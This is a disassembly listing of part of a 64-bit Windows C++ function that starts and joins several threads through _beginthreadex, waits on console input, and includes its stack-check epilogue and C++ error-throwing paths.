mov qword [rbp + 0xa0], r13
lea rcx, [rbp - 0x18]
call fcn.140056a00
nop
cmp dword [rbp - 0x10], 0
jne 0x140065c37
mov ecx, 8
call fcn.1400c8efc
test rax, rax
je 0x140065b38
lea rcx, [0x140053e00]
mov qword [rax], rcx
jmp 0x140065b3b
mov rax, r13
mov qword [rbp + 0x40], rax
lea rcx, [rbp]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x14004c410]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 8], rax
test rax, rax
je 0x140065c77
mov qword [rbp + 0x40], r13
lea rcx, [rbp - 8]
call fcn.140056a00
nop
cmp dword [rbp], 0
jne 0x140065c37
mov ecx, 8
call fcn.1400c8efc
test rax, rax
je 0x140065ba1
lea rcx, [0x14005b900]
mov qword [rax], rcx
jmp 0x140065ba4
mov rax, r13
mov qword [rbp + 0x48], rax
lea rcx, [rbp - 0x30]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r13d
mov r9, rax
lea r8, [0x14004c410]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x38], rax
test rax, rax
je 0x140065c68
mov qword [rbp + 0x48], r13
lea rcx, [rbp - 0x38]
call fcn.140056a00
nop
cmp dword [rbp - 0x30], 0
jne 0x140065c37
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
mov al, 1
mov rcx, qword [rbp + 0xbb8]
xor rcx, rsp
call fcn.1400c8960
lea r11, [rsp + 0xcc0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov dword [rbp - 0x10], r13d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp - 0x20], r13d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
call fcn.140053150
nop
call fcn.1400531b0
nop
mov dword [rbp - 0x30], r13d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
nop
mov dword [rbp], r13d
mov ecx, 6
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3